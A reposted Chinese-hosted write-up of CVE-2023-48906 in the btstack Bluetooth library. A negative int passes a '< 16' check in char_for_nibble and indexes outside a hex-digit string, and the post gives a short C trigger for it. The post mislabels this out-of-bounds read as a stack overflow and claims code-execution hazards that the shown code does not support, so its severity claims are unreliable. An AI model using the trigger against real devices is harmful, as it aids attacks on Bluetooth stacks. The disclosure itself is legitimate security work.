首页 > 其他分享 >CVE-2023-48906

CVE-2023-48906

时间:2024-03-13 13:55:05浏览次数:32  
标签:typedef include return int nibble char 2023 CVE 48906

github:https://github.com/bluekitchen/btstack/issues/546

In the btstack source code, we can find an interesting piece of code.

char char_for_nibble(int nibble){

    static const char * char_to_nibble = "0123456789ABCDEF";

    if (nibble < 16){
        return char_to_nibble[nibble];
    } else {
        return '?';
    }
}

static inline char char_for_high_nibble(int value){
    return char_for_nibble((value >> 4) & 0x0f);
}

static inline char char_for_low_nibble(int value){
    return char_for_nibble(value & 0x0f);
}

The parameter "value" passed to the function "char_for_high_nibble" in the btstack source code is of type int. However, after the XOR operation, it is possible for "value" to become a negative number. In this case, the if statement inside the "char_for_nibble" function will not function as expected.

 if (nibble < 16){
        return char_to_nibble[nibble];
    } else {
        return '?';
    }

As a result, we can access additional content of the char_to_nibble array, causing a stack overflow.
Here is the POC code.

#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <math.h>
typedef uint8_t   u8;   
typedef uint16_t  u16;  
typedef uint32_t  u32;  
typedef uint64_t  u64;
typedef unsigned int usize;
typedef int8_t  i8;
typedef int16_t i16;
typedef int32_t i32;
typedef int64_t i64;
typedef int isize;
typedef float f32;
typedef double f64;
int main() {
    i32 v0 = -2147483643; // nibble
    i8 v1 = char_for_nibble(v0); // $target
}

The hazards of stack overflow include the following aspects:

Code Execution Control: A local stack overflow vulnerability can allow an attacker to manipulate the program's execution flow by carefully crafting malicious input. By overflowing the stack and overwriting critical control data, such as function return addresses, an attacker can gain control over the program's execution. This control can be used to redirect the program's flow to malicious code, enabling unauthorized operations and exploitation of other security vulnerabilities.

Denial of Service (DoS): Stack overflow vulnerabilities can also lead to denial of service attacks, causing the target system to crash or become unresponsive. By sending specific malicious input, an attacker can trigger a stack overflow, causing the program to crash or enter an infinite loop, depleting system resources and rendering the system unresponsive.

标签:typedef,include,return,int,nibble,char,2023,CVE,48906
From: https://www.cnblogs.com/focu5/p/18070469

相关文章

  • 安装JDK11+Tomcat10.0.1+eclipse-jee-2023-12-R-win32-x86_64 配置
    第一步,先双击启动软件:改一下名称:C:\Users\Administrator\eclipse-workspace变成:C:\ProgramFiles\JavaJava:为什么JSP文件要放到SpringBoot工程的src/main/webapp目录下参考文章:https://blog.csdn.net/netyeaxi/article/details/100928105为了看到更具体的页面,可以做个性化......
  • Jetbrains GoLand 2023.3.4 最新专业版安装
    GoLand提高生产力专为Gophers打造的完整IDEGoLand的新功能GoLand2023.3带来了几项重要的新增功能:JetBrainsAIAssistant现已全面推出,具有许多新功能和改进功能,可提高您在JetBrainsIDE中的工作效率。开发容器现已得到正式支持。我们正在开发功能集并积极开发开......
  • 2023.03.12
     第六天 所花时间(包括上课) 3h 代码量(行) 100行 博客量(篇) 1篇 所学习到的内容 android的页面制作(下拉框,如何输入文字等)       packagecom.example.myapplication1;importandroidx.appcompat.app.AppCompatActivity;importand......
  • 蓝桥杯2023年第十四届省赛真题-工作时长
    文件数据把数据复制到excel中数据按照增序排序选中列数据,设置单元格格式,选择下述格式。注意,因为求和之后总小时数可能会超过24小时,所以不要选择最前面是hh的设置B2=A2-A1,B4=A4-A3;然后选中已经算出来的这四格,下拉,就能自动算出来了对算出来的数据进行......
  • 【解题报告】THOI2023核心素养一题解
    THOI核心素养一题解展开目录目录THOI核心素养一题解比赛结果:A沙粒的记忆B远星的守望C国王的诞生E坏齿的舞曲F山麓的回音EXTRA群星的闪耀比赛页面(题目已公开,邀请码:yspm)赛时公告板看得出来出了相当多锅(由于D出锅严重,现已撤下,比赛延长10min.还请各位海涵(为什么延长......
  • LY1060 [ 20230203 CQYC模拟赛IV T1 ] 放进去
    题意一共有\(n\)个物品,每个物品有\(m\)种种类。每个物品的每个种类的代价为\(a_{i,j}\)选择一种种类需要先支付\(b_i\)的代价。\(n\le1e5,m\le25\)求最小的代价使得能够选择\(n\)种物品。Sol考场上竟然没做出来。。。冲到最后20min交了发模拟退火。。。集......
  • The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao)
    Preface完全披萨,最害怕的一集,2h过了5题后开始大坐牢环节徐神开D感觉是个巨复杂的字符串讨论题,一不注意就码了200+行然后我和祁神在下面讨论得出了I的做法,虽然是个DS题但上去写的时候一点自信没有最后摸了半天到比赛结束后1min才调出样例,赛后又调了半小时左右才过了这题唉这就......
  • 【题目】ccf csp 202309-3 梯队求解
    题目大意:给出需要求解的逆波兰表达式(后缀表达式),包含多个变量,现在每一次查询,给出所有变量的值,询问对于给定的变量其函数偏导值为多少。(仅包含乘、加减运算)(例如,对于表达式:x1x1x1*x2+*可转化为(x1*x1+x2)*x1对x1求偏导后变为(2*x1+x2)+(x1*x1+x2)带入x1=......
  • CVE-2023-49442 利用分析
    1.漏洞介绍JEECG(J2EECodeGeneration)是开源的代码生成平台,目前官方已停止维护。JEECG4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现......
  • IntelliJ IDEA 2023.3.4 最新专业版安装
    IntelliJIDEA领先的Java和KotlinIDEIDE使开发成为更高效、更愉快的体验IntelliJIDEA的新功能IntelliJIDEA2023.3的发布标志着AIAssistant的持续发展,它现已超越技术预览阶段,并具有许多令人兴奋的改进。在其他领域,该版本包括对最新Java21功能的全面支持,引入了......